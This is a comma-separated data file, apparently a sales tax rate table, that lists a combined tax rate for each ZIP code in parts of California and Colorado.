US-CA-95454,US,CA,95454,7.625,,,, US-CA-95456,US,CA,95456,7.625,,,, US-CA-95457,US,CA,95457,7.5,,,, US-CA-95458,US,CA,95458,7.5,,,, US-CA-95459,US,CA,95459,7.625,,,, US-CA-95460,US,CA,95460,7.625,,,, US-CA-95461,US,CA,95461,7.5,,,, US-CA-95462,US,CA,95462,8.25,,,, US-CA-95463,US,CA,95463,7.625,,,, US-CA-95464,US,CA,95464,7.5,,,, US-CA-95465,US,CA,95465,8.25,,,, US-CA-95466,US,CA,95466,7.625,,,, US-CA-95467,US,CA,95467,7.5,,,, US-CA-95468,US,CA,95468,7.625,,,, US-CA-95469,US,CA,95469,7.625,,,, US-CA-95470,US,CA,95470,7.625,,,, US-CA-95471,US,CA,95471,8.25,,,, US-CA-95472,US,CA,95472,8.25,,,, US-CA-95473,US,CA,95473,9,,,, US-CA-95476,US,CA,95476,8.25,,,, US-CA-95480,US,CA,95480,8.25,,,, US-CA-95481,US,CA,95481,7.625,,,, US-CA-95482,US,CA,95482,8.125,,,, US-CA-95485,US,CA,95485,7.5,,,, US-CA-95486,US,CA,95486,8.25,,,, US-CA-95487,US,CA,95487,8.25,,,, US-CA-95488,US,CA,95488,7.625,,,, US-CA-95490,US,CA,95490,7.625,,,, US-CA-95492,US,CA,95492,8.25,,,, US-CA-95493,US,CA,95493,7.5,,,, US-CA-95494,US,CA,95494,7.625,,,, US-CA-95497,US,CA,95497,7.625,,,, US-CA-95501,US,CA,95501,8.25,,,, US-CA-95502,US,CA,95502,8.25,,,, US-CA-95503,US,CA,95503,7.5,,,, US-CA-95511,US,CA,95511,7.5,,,, US-CA-95514,US,CA,95514,7.5,,,, US-CA-95518,US,CA,95518,8.25,,,, US-CA-95519,US,CA,95519,7.5,,,, US-CA-95521,US,CA,95521,8.25,,,, US-CA-95524,US,CA,95524,7.5,,,, US-CA-95525,US,CA,95525,7.5,,,, US-CA-95526,US,CA,95526,7.5,,,, US-CA-95527,US,CA,95527,7.5,,,, US-CA-95528,US,CA,95528,7.5,,,, US-CA-95531,US,CA,95531,7.5,,,, US-CA-95532,US,CA,95532,7.5,,,, US-CA-95534,US,CA,95534,8.25,,,, US-CA-95536,US,CA,95536,7.5,,,, US-CA-95537,US,CA,95537,7.5,,,, US-CA-95538,US,CA,95538,7.5,,,, US-CA-95540,US,CA,95540,7.5,,,, US-CA-95542,US,CA,95542,7.5,,,, US-CA-95543,US,CA,95543,7.5,,,, US-CA-95545,US,CA,95545,7.5,,,, US-CA-95546,US,CA,95546,7.5,,,, US-CA-95547,US,CA,95547,7.5,,,, US-CA-95548,US,CA,95548,7.5,,,, US-CA-95549,US,CA,95549,7.5,,,, US-CA-95550,US,CA,95550,7.5,,,, US-CA-95551,US,CA,95551,7.5,,,, US-CA-95552,US,CA,95552,7.5,,,, US-CA-95553,US,CA,95553,7.5,,,, US-CA-95554,US,CA,95554,7.5,,,, US-CA-95555,US,CA,95555,7.5,,,, US-CA-95556,US,CA,95556,7.5,,,, US-CA-95558,US,CA,95558,7.5,,,, US-CA-95559,US,CA,95559,7.5,,,, US-CA-95560,US,CA,95560,7.5,,,, US-CA-95562,US,CA,95562,7.5,,,, US-CA-95563,US,CA,95563,7.5,,,, US-CA-95564,US,CA,95564,7.5,,,, US-CA-95565,US,CA,95565,7.5,,,, US-CA-95567,US,CA,95567,7.5,,,, US-CA-95568,US,CA,95568,7.5,,,, US-CA-95569,US,CA,95569,7.5,,,, US-CA-95570,US,CA,95570,7.5,,,, US-CA-95571,US,CA,95571,7.5,,,, US-CA-95573,US,CA,95573,7.5,,,, US-CA-95585,US,CA,95585,7.625,,,, US-CA-95587,US,CA,95587,7.5,,,, US-CA-95589,US,CA,95589,7.5,,,, US-CA-95595,US,CA,95595,7.5,,,, US-CA-95601,US,CA,95601,8,,,, US-CA-95602,US,CA,95602,7.5,,,, US-CA-95603,US,CA,95603,7.5,,,, US-CA-95604,US,CA,95604,7.5,,,, US-CA-95605,US,CA,95605,8,,,, US-CA-95606,US,CA,95606,7.5,,,, US-CA-95607,US,CA,95607,7.5,,,, US-CA-95608,US,CA,95608,8,,,, US-CA-95609,US,CA,95609,8,,,, US-CA-95610,US,CA,95610,8,,,, US-CA-95611,US,CA,95611,8,,,, US-CA-95612,US,CA,95612,7.5,,,, US-CA-95613,US,CA,95613,7.5,,,, US-CA-95614,US,CA,95614,7.5,,,, US-CA-95615,US,CA,95615,8,,,, US-CA-95616,US,CA,95616,8,,,, US-CA-95617,US,CA,95617,8,,,, US-CA-95618,US,CA,95618,8,,,, US-CA-95619,US,CA,95619,7.5,,,, US-CA-95620,US,CA,95620,7.625,,,, US-CA-95621,US,CA,95621,8,,,, US-CA-95623,US,CA,95623,7.5,,,, US-CA-95624,US,CA,95624,8,,,, US-CA-95625,US,CA,95625,7.625,,,, US-CA-95626,US,CA,95626,8,,,, US-CA-95627,US,CA,95627,7.5,,,, US-CA-95628,US,CA,95628,8,,,, US-CA-95629,US,CA,95629,8,,,, US-CA-95630,US,CA,95630,8,,,, US-CA-95631,US,CA,95631,7.5,,,, US-CA-95632,US,CA,95632,8.5,,,, US-CA-95633,US,CA,95633,7.5,,,, US-CA-95634,US,CA,95634,7.5,,,, US-CA-95635,US,CA,95635,7.5,,,, US-CA-95636,US,CA,95636,7.5,,,, US-CA-95637,US,CA,95637,7.5,,,, US-CA-95638,US,CA,95638,8,,,, US-CA-95639,US,CA,95639,8,,,, US-CA-95640,US,CA,95640,8,,,, US-CA-95641,US,CA,95641,8,,,, US-CA-95642,US,CA,95642,8,,,, US-CA-95644,US,CA,95644,8,,,, US-CA-95645,US,CA,95645,7.5,,,, US-CA-95646,US,CA,95646,8,,,, US-CA-95648,US,CA,95648,7.5,,,, US-CA-95650,US,CA,95650,7.5,,,, US-CA-95651,US,CA,95651,7.5,,,, US-CA-95652,US,CA,95652,8,,,, US-CA-95653,US,CA,95653,7.5,,,, US-CA-95654,US,CA,95654,8,,,, US-CA-95655,US,CA,95655,8,,,, US-CA-95656,US,CA,95656,7.5,,,, US-CA-95658,US,CA,95658,7.5,,,, US-CA-95659,US,CA,95659,7.5,,,, US-CA-95660,US,CA,95660,8,,,, US-CA-95661,US,CA,95661,7.5,,,, US-CA-95662,US,CA,95662,8,,,, US-CA-95663,US,CA,95663,7.5,,,, US-CA-95664,US,CA,95664,7.5,,,, US-CA-95665,US,CA,95665,8,,,, US-CA-95666,US,CA,95666,8,,,, US-CA-95667,US,CA,95667,7.5,,,, US-CA-95668,US,CA,95668,7.5,,,, US-CA-95669,US,CA,95669,8,,,, US-CA-95670,US,CA,95670,8,,,, US-CA-95671,US,CA,95671,8,,,, US-CA-95672,US,CA,95672,7.5,,,, US-CA-95673,US,CA,95673,8,,,, US-CA-95674,US,CA,95674,7.5,,,, US-CA-95675,US,CA,95675,7.5,,,, US-CA-95676,US,CA,95676,7.5,,,, US-CA-95677,US,CA,95677,7.5,,,, US-CA-95678,US,CA,95678,7.5,,,, US-CA-95679,US,CA,95679,7.5,,,, US-CA-95680,US,CA,95680,8,,,, US-CA-95681,US,CA,95681,7.5,,,, US-CA-95682,US,CA,95682,7.5,,,, US-CA-95683,US,CA,95683,8,,,, US-CA-95684,US,CA,95684,7.5,,,, US-CA-95685,US,CA,95685,8,,,, US-CA-95686,US,CA,95686,8,,,, US-CA-95687,US,CA,95687,7.875,,,, US-CA-95688,US,CA,95688,7.875,,,, US-CA-95689,US,CA,95689,8,,,, US-CA-95690,US,CA,95690,8,,,, US-CA-95691,US,CA,95691,8,,,, US-CA-95692,US,CA,95692,8,,,, US-CA-95693,US,CA,95693,8,,,, US-CA-95694,US,CA,95694,7.5,,,, US-CA-95695,US,CA,95695,8.25,,,, US-CA-95696,US,CA,95696,7.875,,,, US-CA-95697,US,CA,95697,7.5,,,, US-CA-95698,US,CA,95698,7.5,,,, US-CA-95699,US,CA,95699,8,,,, US-CA-95701,US,CA,95701,7.5,,,, US-CA-95703,US,CA,95703,7.5,,,, US-CA-95709,US,CA,95709,7.5,,,, US-CA-95712,US,CA,95712,7.625,,,, US-CA-95713,US,CA,95713,7.5,,,, US-CA-95714,US,CA,95714,7.5,,,, US-CA-95715,US,CA,95715,7.5,,,, US-CA-95717,US,CA,95717,7.5,,,, US-CA-95720,US,CA,95720,7.5,,,, US-CA-95721,US,CA,95721,7.5,,,, US-CA-95722,US,CA,95722,7.5,,,, US-CA-95724,US,CA,95724,7.625,,,, US-CA-95726,US,CA,95726,7.5,,,, US-CA-95728,US,CA,95728,7.625,,,, US-CA-95735,US,CA,95735,7.5,,,, US-CA-95736,US,CA,95736,7.5,,,, US-CA-95741,US,CA,95741,8,,,, US-CA-95742,US,CA,95742,8,,,, US-CA-95746,US,CA,95746,7.5,,,, US-CA-95747,US,CA,95747,7.5,,,, US-CA-95757,US,CA,95757,8,,,, US-CA-95758,US,CA,95758,8,,,, US-CA-95759,US,CA,95759,8,,,, US-CA-95762,US,CA,95762,7.5,,,, US-CA-95763,US,CA,95763,8,,,, US-CA-95765,US,CA,95765,7.5,,,, US-CA-95776,US,CA,95776,8.25,,,, US-CA-95798,US,CA,95798,8,,,, US-CA-95799,US,CA,95799,8,,,, US-CA-95811,US,CA,95811,8.5,,,, US-CA-95812,US,CA,95812,8.5,,,, US-CA-95813,US,CA,95813,8.5,,,, US-CA-95814,US,CA,95814,8.5,,,, US-CA-95815,US,CA,95815,8.5,,,, US-CA-95816,US,CA,95816,8.5,,,, US-CA-95817,US,CA,95817,8.5,,,, US-CA-95818,US,CA,95818,8.5,,,, US-CA-95819,US,CA,95819,8.5,,,, US-CA-95820,US,CA,95820,8.5,,,, US-CA-95821,US,CA,95821,8,,,, US-CA-95822,US,CA,95822,8.5,,,, US-CA-95823,US,CA,95823,8.5,,,, US-CA-95824,US,CA,95824,8,,,, US-CA-95825,US,CA,95825,8,,,, US-CA-95826,US,CA,95826,8,,,, US-CA-95827,US,CA,95827,8,,,, US-CA-95828,US,CA,95828,8,,,, US-CA-95829,US,CA,95829,8,,,, US-CA-95830,US,CA,95830,8,,,, US-CA-95831,US,CA,95831,8.5,,,, US-CA-95832,US,CA,95832,8.5,,,, US-CA-95833,US,CA,95833,8.5,,,, US-CA-95834,US,CA,95834,8.5,,,, US-CA-95835,US,CA,95835,8.5,,,, US-CA-95836,US,CA,95836,8,,,, US-CA-95837,US,CA,95837,8,,,, US-CA-95838,US,CA,95838,8.5,,,, US-CA-95840,US,CA,95840,8.5,,,, US-CA-95841,US,CA,95841,8,,,, US-CA-95842,US,CA,95842,8,,,, US-CA-95843,US,CA,95843,8,,,, US-CA-95851,US,CA,95851,8.5,,,, US-CA-95852,US,CA,95852,8.5,,,, US-CA-95853,US,CA,95853,8.5,,,, US-CA-95860,US,CA,95860,8,,,, US-CA-95864,US,CA,95864,8,,,, US-CA-95865,US,CA,95865,8,,,, US-CA-95866,US,CA,95866,8,,,, US-CA-95867,US,CA,95867,8.5,,,, US-CA-95887,US,CA,95887,8.5,,,, US-CA-95894,US,CA,95894,8.5,,,, US-CA-95899,US,CA,95899,8.5,,,, US-CA-95901,US,CA,95901,7.5,,,, US-CA-95903,US,CA,95903,7.5,,,, US-CA-95910,US,CA,95910,7.5,,,, US-CA-95912,US,CA,95912,7.5,,,, US-CA-95913,US,CA,95913,7.5,,,, US-CA-95914,US,CA,95914,7.5,,,, US-CA-95915,US,CA,95915,7.5,,,, US-CA-95916,US,CA,95916,7.5,,,, US-CA-95917,US,CA,95917,7.5,,,, US-CA-95918,US,CA,95918,7.5,,,, US-CA-95919,US,CA,95919,7.5,,,, US-CA-95920,US,CA,95920,7.5,,,, US-CA-95922,US,CA,95922,7.5,,,, US-CA-95923,US,CA,95923,7.5,,,, US-CA-95924,US,CA,95924,7.625,,,, US-CA-95925,US,CA,95925,7.5,,,, US-CA-95926,US,CA,95926,7.5,,,, US-CA-95927,US,CA,95927,7.5,,,, US-CA-95928,US,CA,95928,7.5,,,, US-CA-95929,US,CA,95929,7.5,,,, US-CA-95930,US,CA,95930,7.5,,,, US-CA-95932,US,CA,95932,7.5,,,, US-CA-95934,US,CA,95934,7.5,,,, US-CA-95935,US,CA,95935,7.5,,,, US-CA-95936,US,CA,95936,7.5,,,, US-CA-95937,US,CA,95937,7.5,,,, US-CA-95938,US,CA,95938,7.5,,,, US-CA-95939,US,CA,95939,7.5,,,, US-CA-95940,US,CA,95940,7.5,,,, US-CA-95941,US,CA,95941,7.5,,,, US-CA-95942,US,CA,95942,7.5,,,, US-CA-95943,US,CA,95943,7.5,,,, US-CA-95944,US,CA,95944,7.5,,,, US-CA-95945,US,CA,95945,8.125,,,, US-CA-95946,US,CA,95946,7.625,,,, US-CA-95947,US,CA,95947,7.5,,,, US-CA-95948,US,CA,95948,7.5,,,, US-CA-95949,US,CA,95949,7.625,,,, US-CA-95950,US,CA,95950,7.5,,,, US-CA-95951,US,CA,95951,7.5,,,, US-CA-95953,US,CA,95953,7.5,,,, US-CA-95954,US,CA,95954,7.5,,,, US-CA-95955,US,CA,95955,7.5,,,, US-CA-95956,US,CA,95956,7.5,,,, US-CA-95957,US,CA,95957,7.5,,,, US-CA-95958,US,CA,95958,7.5,,,, US-CA-95959,US,CA,95959,7.625,,,, US-CA-95960,US,CA,95960,7.625,,,, US-CA-95961,US,CA,95961,7.5,,,, US-CA-95962,US,CA,95962,7.5,,,, US-CA-95963,US,CA,95963,7.5,,,, US-CA-95965,US,CA,95965,7.5,,,, US-CA-95966,US,CA,95966,7.5,,,, US-CA-95967,US,CA,95967,7.5,,,, US-CA-95968,US,CA,95968,7.5,,,, US-CA-95969,US,CA,95969,7.5,,,, US-CA-95970,US,CA,95970,7.5,,,, US-CA-95971,US,CA,95971,7.5,,,, US-CA-95972,US,CA,95972,7.5,,,, US-CA-95973,US,CA,95973,7.5,,,, US-CA-95974,US,CA,95974,7.5,,,, US-CA-95975,US,CA,95975,7.625,,,, US-CA-95976,US,CA,95976,7.5,,,, US-CA-95977,US,CA,95977,7.625,,,, US-CA-95978,US,CA,95978,7.5,,,, US-CA-95979,US,CA,95979,7.5,,,, US-CA-95980,US,CA,95980,7.5,,,, US-CA-95981,US,CA,95981,7.5,,,, US-CA-95982,US,CA,95982,7.5,,,, US-CA-95983,US,CA,95983,7.5,,,, US-CA-95984,US,CA,95984,7.5,,,, US-CA-95986,US,CA,95986,7.625,,,, US-CA-95987,US,CA,95987,8,,,, US-CA-95988,US,CA,95988,7.5,,,, US-CA-95991,US,CA,95991,7.5,,,, US-CA-95992,US,CA,95992,7.5,,,, US-CA-95993,US,CA,95993,7.5,,,, US-CA-96001,US,CA,96001,7.5,,,, US-CA-96002,US,CA,96002,7.5,,,, US-CA-96003,US,CA,96003,7.5,,,, US-CA-96006,US,CA,96006,7.5,,,, US-CA-96007,US,CA,96007,7.5,,,, US-CA-96008,US,CA,96008,7.5,,,, US-CA-96009,US,CA,96009,7.5,,,, US-CA-96010,US,CA,96010,7.5,,,, US-CA-96011,US,CA,96011,7.5,,,, US-CA-96013,US,CA,96013,7.5,,,, US-CA-96014,US,CA,96014,7.5,,,, US-CA-96015,US,CA,96015,7.5,,,, US-CA-96016,US,CA,96016,7.5,,,, US-CA-96017,US,CA,96017,7.5,,,, US-CA-96019,US,CA,96019,7.5,,,, US-CA-96020,US,CA,96020,7.5,,,, US-CA-96021,US,CA,96021,7.5,,,, US-CA-96022,US,CA,96022,7.5,,,, US-CA-96023,US,CA,96023,7.5,,,, US-CA-96024,US,CA,96024,7.5,,,, US-CA-96025,US,CA,96025,7.5,,,, US-CA-96027,US,CA,96027,7.5,,,, US-CA-96028,US,CA,96028,7.5,,,, US-CA-96029,US,CA,96029,7.5,,,, US-CA-96031,US,CA,96031,7.5,,,, US-CA-96032,US,CA,96032,7.5,,,, US-CA-96033,US,CA,96033,7.5,,,, US-CA-96034,US,CA,96034,7.5,,,, US-CA-96035,US,CA,96035,7.5,,,, US-CA-96037,US,CA,96037,7.5,,,, US-CA-96038,US,CA,96038,7.5,,,, US-CA-96039,US,CA,96039,7.5,,,, US-CA-96040,US,CA,96040,7.5,,,, US-CA-96041,US,CA,96041,7.5,,,, US-CA-96044,US,CA,96044,7.5,,,, US-CA-96046,US,CA,96046,7.5,,,, US-CA-96047,US,CA,96047,7.5,,,, US-CA-96048,US,CA,96048,7.5,,,, US-CA-96049,US,CA,96049,7.5,,,, US-CA-96050,US,CA,96050,7.5,,,, US-CA-96051,US,CA,96051,7.5,,,, US-CA-96052,US,CA,96052,7.5,,,, US-CA-96054,US,CA,96054,7.5,,,, US-CA-96055,US,CA,96055,7.5,,,, US-CA-96056,US,CA,96056,7.5,,,, US-CA-96057,US,CA,96057,7.5,,,, US-CA-96058,US,CA,96058,7.5,,,, US-CA-96059,US,CA,96059,7.5,,,, US-CA-96061,US,CA,96061,7.5,,,, US-CA-96062,US,CA,96062,7.5,,,, US-CA-96063,US,CA,96063,7.5,,,, US-CA-96064,US,CA,96064,7.5,,,, US-CA-96065,US,CA,96065,7.5,,,, US-CA-96067,US,CA,96067,7.75,,,, US-CA-96068,US,CA,96068,7.5,,,, US-CA-96069,US,CA,96069,7.5,,,, US-CA-96070,US,CA,96070,7.5,,,, US-CA-96071,US,CA,96071,7.5,,,, US-CA-96073,US,CA,96073,7.5,,,, US-CA-96074,US,CA,96074,7.5,,,, US-CA-96075,US,CA,96075,7.5,,,, US-CA-96076,US,CA,96076,7.5,,,, US-CA-96078,US,CA,96078,7.5,,,, US-CA-96079,US,CA,96079,7.5,,,, US-CA-96080,US,CA,96080,7.5,,,, US-CA-96084,US,CA,96084,7.5,,,, US-CA-96085,US,CA,96085,7.5,,,, US-CA-96086,US,CA,96086,7.5,,,, US-CA-96087,US,CA,96087,7.5,,,, US-CA-96088,US,CA,96088,7.5,,,, US-CA-96089,US,CA,96089,7.5,,,, US-CA-96090,US,CA,96090,7.5,,,, US-CA-96091,US,CA,96091,7.5,,,, US-CA-96092,US,CA,96092,7.5,,,, US-CA-96093,US,CA,96093,7.5,,,, US-CA-96094,US,CA,96094,7.5,,,, US-CA-96095,US,CA,96095,7.5,,,, US-CA-96096,US,CA,96096,7.5,,,, US-CA-96097,US,CA,96097,7.5,,,, US-CA-96099,US,CA,96099,7.5,,,, US-CA-96101,US,CA,96101,7.5,,,, US-CA-96103,US,CA,96103,7.5,,,, US-CA-96104,US,CA,96104,7.5,,,, US-CA-96105,US,CA,96105,7.5,,,, US-CA-96106,US,CA,96106,7.5,,,, US-CA-96107,US,CA,96107,7.5,,,, US-CA-96108,US,CA,96108,7.5,,,, US-CA-96109,US,CA,96109,7.5,,,, US-CA-96110,US,CA,96110,7.5,,,, US-CA-96111,US,CA,96111,7.625,,,, US-CA-96112,US,CA,96112,7.5,,,, US-CA-96113,US,CA,96113,7.5,,,, US-CA-96114,US,CA,96114,7.5,,,, US-CA-96115,US,CA,96115,7.5,,,, US-CA-96116,US,CA,96116,7.5,,,, US-CA-96117,US,CA,96117,7.5,,,, US-CA-96118,US,CA,96118,7.5,,,, US-CA-96119,US,CA,96119,7.5,,,, US-CA-96120,US,CA,96120,7.5,,,, US-CA-96121,US,CA,96121,7.5,,,, US-CA-96122,US,CA,96122,7.5,,,, US-CA-96123,US,CA,96123,7.5,,,, US-CA-96124,US,CA,96124,7.5,,,, US-CA-96125,US,CA,96125,7.5,,,, US-CA-96126,US,CA,96126,7.5,,,, US-CA-96127,US,CA,96127,7.5,,,, US-CA-96128,US,CA,96128,7.5,,,, US-CA-96129,US,CA,96129,7.5,,,, US-CA-96130,US,CA,96130,7.5,,,, US-CA-96132,US,CA,96132,7.5,,,, US-CA-96133,US,CA,96133,7.5,,,, US-CA-96134,US,CA,96134,7.5,,,, US-CA-96135,US,CA,96135,7.5,,,, US-CA-96136,US,CA,96136,7.5,,,, US-CA-96137,US,CA,96137,7.5,,,, US-CA-96140,US,CA,96140,7.5,,,, US-CA-96141,US,CA,96141,7.5,,,, US-CA-96142,US,CA,96142,7.5,,,, US-CA-96143,US,CA,96143,7.5,,,, US-CA-96145,US,CA,96145,7.5,,,, US-CA-96146,US,CA,96146,7.5,,,, US-CA-96148,US,CA,96148,7.5,,,, US-CA-96150,US,CA,96150,8,,,, US-CA-96151,US,CA,96151,8,,,, US-CA-96152,US,CA,96152,8,,,, US-CA-96154,US,CA,96154,8,,,, US-CA-96155,US,CA,96155,7.5,,,, US-CA-96156,US,CA,96156,8,,,, US-CA-96157,US,CA,96157,7.5,,,, US-CA-96158,US,CA,96158,8,,,, US-CA-96160,US,CA,96160,8.125,,,, US-CA-96161,US,CA,96161,8.125,,,, US-CA-96162,US,CA,96162,8.125,,,, US-CO-80001,US,CO,80001,7.96,,,, US-CO-80002,US,CO,80002,7.96,,,, US-CO-80003,US,CO,80003,7.96,,,, US-CO-80004,US,CO,80004,7.96,,,, US-CO-80005,US,CO,80005,7.96,,,, US-CO-80006,US,CO,80006,7.96,,,, US-CO-80007,US,CO,80007,7.96,,,, US-CO-80010,US,CO,80010,8.5,,,, US-CO-80011,US,CO,80011,8,,,, US-CO-80012,US,CO,80012,8,,,, US-CO-80013,US,CO,80013,8,,,, US-CO-80014,US,CO,80014,8,,,, US-CO-80015,US,CO,80015,8,,,, US-CO-80016,US,CO,80016,8,,,, US-CO-80017,US,CO,80017,8,,,, US-CO-80018,US,CO,80018,7,,,, US-CO-80019,US,CO,80019,8.5,,,, US-CO-80020,US,CO,80020,8.15,,,, US-CO-80021,US,CO,80021,8.35,,,, US-CO-80022,US,CO,80022,8.25,,,, US-CO-80023,US,CO,80023,8.15,,,, US-CO-80024,US,CO,80024,4.75,,,, US-CO-80025,US,CO,80025,4.8,,,, US-CO-80026,US,CO,80026,8.3,,,, US-CO-80027,US,CO,80027,8.3,,,, US-CO-80030,US,CO,80030,8.6,,,, US-CO-80031,US,CO,80031,8.6,,,, US-CO-80033,US,CO,80033,7.5,,,, US-CO-80034,US,CO,80034,7.5,,,, US-CO-80035,US,CO,80035,8.6,,,, US-CO-80036,US,CO,80036,8.6,,,, US-CO-80037,US,CO,80037,8.25,,,, US-CO-80038,US,CO,80038,8.15,,,, US-CO-80040,US,CO,80040,8.5,,,, US-CO-80041,US,CO,80041,8,,,, US-CO-80042,US,CO,80042,8.5,,,, US-CO-80044,US,CO,80044,8.5,,,, US-CO-80045,US,CO,80045,8.5,,,, US-CO-80046,US,CO,80046,6.75,,,, US-CO-80047,US,CO,80047,8,,,, US-CO-80101,US,CO,80101,3.9,,,, US-CO-80102,US,CO,80102,3.75,,,, US-CO-80103,US,CO,80103,3.25,,,, US-CO-80104,US,CO,80104,7.9,,,, US-CO-80105,US,CO,80105,3.25,,,, US-CO-80106,US,CO,80106,5.13,,,, US-CO-80107,US,CO,80107,3.9,,,, US-CO-80108,US,CO,80108,7.9,,,, US-CO-80109,US,CO,80109,7.9,,,, US-CO-80110,US,CO,80110,7.75,,,, US-CO-80111,US,CO,80111,7.25,,,, US-CO-80112,US,CO,80112,6.75,,,, US-CO-80113,US,CO,80113,7.75,,,, US-CO-80116,US,CO,80116,4,,,, US-CO-80117,US,CO,80117,3.9,,,, US-CO-80118,US,CO,80118,4,,,, US-CO-80120,US,CO,80120,7.25,,,, US-CO-80121,US,CO,80121,6.75,,,, US-CO-80122,US,CO,80122,6.75,,,, US-CO-80123,US,CO,80123,5,,,, US-CO-80124,US,CO,80124,6.8125,,,, US-CO-80125,US,CO,80125,4,,,, US-CO-80126,US,CO,80126,5,,,, US-CO-80127,US,CO,80127,5,,,, US-CO-80128,US,CO,80128,5,,,, US-CO-80129,US,CO,80129,5,,,, US-CO-80130,US,CO,80130,5,,,, US-CO-80131,US,CO,80131,4,,,, US-CO-80132,US,CO,80132,5.13,,,, US-CO-80133,US,CO,80133,7.13,,,, US-CO-80134,US,CO,80134,5,,,, US-CO-80135,US,CO,80135,4,,,, US-CO-80136,US,CO,80136,3.75,,,, US-CO-80137,US,CO,80137,3.75,,,, US-CO-80138,US,CO,80138,8,,,, US-CO-80150,US,CO,80150,7.75,,,, US-CO-80151,US,CO,80151,7.75,,,, US-CO-80155,US,CO,80155,6.75,,,, US-CO-80160,US,CO,80160,7.25,,,, US-CO-80161,US,CO,80161,7.25,,,, US-CO-80162,US,CO,80162,5,,,, US-CO-80163,US,CO,80163,5,,,, US-CO-80165,US,CO,80165,7.25,,,, US-CO-80166,US,CO,80166,7.25,,,, US-CO-80201,US,CO,80201,7.62,,,, US-CO-80202,US,CO,80202,7.62,,,, US-CO-80203,US,CO,80203,7.62,,,, US-CO-80204,US,CO,80204,7.62,,,, US-CO-80205,US,CO,80205,7.62,,,, US-CO-80206,US,CO,80206,7.62,,,, US-CO-80207,US,CO,80207,7.62,,,, US-CO-80208,US,CO,80208,7.62,,,, US-CO-80209,US,CO,80209,7.62,,,, US-CO-80210,US,CO,80210,7.62,,,, US-CO-80211,US,CO,80211,7.62,,,, US-CO-80212,US,CO,80212,7.62,,,, US-CO-80214,US,CO,80214,7.5,,,, US-CO-80215,US,CO,80215,7.5,,,, US-CO-80216,US,CO,80216,7.62,,,, US-CO-80217,US,CO,80217,7.62,,,, US-CO-80218,US,CO,80218,7.62,,,, US-CO-80219,US,CO,80219,7.62,,,, US-CO-80220,US,CO,80220,7.62,,,, US-CO-80221,US,CO,80221,4.75,,,, US-CO-80222,US,CO,80222,7.62,,,, US-CO-80223,US,CO,80223,7.62,,,, US-CO-80224,US,CO,80224,7.62,,,, US-CO-80225,US,CO,80225,7.5,,,, US-CO-80226,US,CO,80226,7.5,,,, US-CO-80227,US,CO,80227,7.5,,,, US-CO-80228,US,CO,80228,7.5,,,, US-CO-80229,US,CO,80229,8.5,,,, US-CO-80230,US,CO,80230,7.62,,,, US-CO-80231,US,CO,80231,7.62,,,, US-CO-80232,US,CO,80232,7.5,,,, US-CO-80233,US,CO,80233,8.75,,,, US-CO-80234,US,CO,80234,8.6,,,, US-CO-80235,US,CO,80235,7.5,,,, US-CO-80236,US,CO,80236,7.62,,,, US-CO-80237,US,CO,80237,7.62,,,, US-CO-80238,US,CO,80238,7.62,,,, US-CO-80239,US,CO,80239,7.62,,,, US-CO-80241,US,CO,80241,8.5,,,, US-CO-80243,US,CO,80243,7.62,,,, US-CO-80246,US,CO,80246,8,,,, US-CO-80247,US,CO,80247,7.62,,,, US-CO-80248,US,CO,80248,7.62,,,, US-CO-80249,US,CO,80249,7.62,,,, US-CO-80250,US,CO,80250,7.62,,,, US-CO-80251,US,CO,80251,7.62,,,, US-CO-80252,US,CO,80252,7.62,,,, US-CO-80256,US,CO,80256,7.62,,,, US-CO-80257,US,CO,80257,7.62,,,, US-CO-80259,US,CO,80259,7.62,,,, US-CO-80260,US,CO,80260,8.5,,,, US-CO-80261,US,CO,80261,7.62,,,, US-CO-80262,US,CO,80262,7.62,,,, US-CO-80263,US,CO,80263,7.62,,,, US-CO-80264,US,CO,80264,7.62,,,, US-CO-80265,US,CO,80265,7.62,,,, US-CO-80266,US,CO,80266,7.62,,,, US-CO-80271,US,CO,80271,7.62,,,, US-CO-80273,US,CO,80273,7.62,,,, US-CO-80274,US,CO,80274,7.62,,,, US-CO-80281,US,CO,80281,7.62,,,, US-CO-80290,US,CO,80290,7.62,,,, US-CO-80291,US,CO,80291,7.62,,,, US-CO-80293,US,CO,80293,7.62,,,, US-CO-80294,US,CO,80294,7.62,,,, US-CO-80295,US,CO,80295,7.62,,,, US-CO-80299,US,CO,80299,7.62,,,, US-CO-80301,US,CO,80301,8.21,,,, US-CO-80302,US,CO,80302,8.21,,,, US-CO-80303,US,CO,80303,8.21,,,, US-CO-80304,US,CO,80304,8.21,,,, US-CO-80305,US,CO,80305,8.21,,,, US-CO-80306,US,CO,80306,8.21,,,, US-CO-80307,US,CO,80307,8.21,,,, US-CO-80308,US,CO,80308,8.21,,,, US-CO-80309,US,CO,80309,8.21,,,, US-CO-80310,US,CO,80310,4.8,,,, US-CO-80314,US,CO,80314,4.8,,,, US-CO-80401,US,CO,80401,4.5,,,, US-CO-80402,US,CO,80402,7.5,,,, US-CO-80403,US,CO,80403,4.5,,,, US-CO-80419,US,CO,80419,7.5,,,, US-CO-80420,US,CO,80420,6.9,,,, US-CO-80421,US,CO,80421,3.9,,,, US-CO-80422,US,CO,80422,2.9,,,, US-CO-80423,US,CO,80423,4.4,,,, US-CO-80424,US,CO,80424,8.275,,,, US-CO-80425,US,CO,80425,4.5,,,, US-CO-80426,US,CO,80426,4.4,,,, US-CO-80427,US,CO,80427,6.9,,,, US-CO-80428,US,CO,80428,3.9,,,, US-CO-80429,US,CO,80429,6.9,,,, US-CO-80430,US,CO,80430,6.9,,,, US-CO-80432,US,CO,80432,7.9,,,, US-CO-80433,US,CO,80433,4.5,,,, US-CO-80434,US,CO,80434,6.9,,,, US-CO-80435,US,CO,80435,5.775,,,, US-CO-80436,US,CO,80436,3.9,,,, US-CO-80437,US,CO,80437,4.5,,,, US-CO-80438,US,CO,80438,6.9,,,, US-CO-80439,US,CO,80439,4.5,,,, US-CO-80440,US,CO,80440,7.9,,,, US-CO-80442,US,CO,80442,7.9,,,, US-CO-80443,US,CO,80443,7.775,,,, US-CO-80444,US,CO,80444,6.9,,,, US-CO-80446,US,CO,80446,3.9,,,, US-CO-80447,US,CO,80447,3.9,,,, US-CO-80448,US,CO,80448,3.9,,,, US-CO-80449,US,CO,80449,3.9,,,, US-CO-80451,US,CO,80451,7.9,,,, US-CO-80452,US,CO,80452,3.9,,,, US-CO-80453,US,CO,80453,4.5,,,, US-CO-80454,US,CO,80454,4.5,,,, US-CO-80455,US,CO,80455,4.8,,,, US-CO-80456,US,CO,80456,3.9,,,, US-CO-80457,US,CO,80457,4.5,,,, US-CO-80459,US,CO,80459,3.9,,,, US-CO-80461,US,CO,80461,6.9,,,, 